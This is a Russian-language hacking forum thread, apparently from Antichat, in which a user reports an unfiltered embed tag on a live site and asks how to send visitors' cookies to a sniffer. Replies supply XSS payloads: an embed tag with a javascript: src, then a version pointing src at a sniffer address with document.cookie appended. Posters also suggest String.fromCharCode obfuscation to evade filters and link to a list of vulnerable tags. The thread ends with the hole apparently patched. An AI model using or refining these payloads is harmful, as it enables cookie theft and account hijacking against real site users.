использование тега embed для угона cookies ?

[ickhz]

Обнаружила, что на сайте на фильтруется тег <embed> и javascript в нем. ТО есть работает конструкция <embed src=javascript:alert('ok');this.avi>.. Подскажите, как прописать здесь скрипт, чтобы работала передача cookies на сниффер античата.

[Pashkela]

также, как и обычно

[Велемир]

Везде,где есть атрибут src,есть возможность эксплуатации XSS,не учитывая существования фильтров.

[-m0rgan-]

В XSS не особо,но по моему так:
<embed src=javascript:src='адрес снифера';this.avi>

[Велемир]

+document.cookie :D

[-m0rgan-]

Бля,точно,пропустил:(
спс за поправку!

[Велемир]

:):) Вообще,есть список *уязвимых* тегов касательно XSS.
http://www.inattack.ru/article/519.html к примеру,но был список и получше...

[ickhz]

А, поняла, там фигня какая-то хитрая по-моему, которая не дает забрать cookies..

alert(document.cookies) выдает вместо cookies undefined

Типа защита такая что-ли))))

[freddi]

ickhz, он это выдает тк нету такого объекта, как document.cookies, есть document.cookie.

[iddqd]

попробуй прогнать скрипт через StringFromCharCode
http://pro.grammatic.org/post-javascript-eval-stringfromcharcode-encoder-11.aspx

[ickhz]

ickhz, он это выдает тк нету такого объекта, как document.cookies, есть document.cookie.

Точно.. сорри! Теперь выводит пустой алерт.

[ickhz]

попробуй прогнать скрипт через StringFromCharCode
http://pro.grammatic.org/post-javascript-eval-stringfromcharcode-encoder-11.aspx

Спс

[Велемир]

Естессно ничего не выведет,ибо пофиксено.

[ickhz]

Да, к сожалению, именно так.. (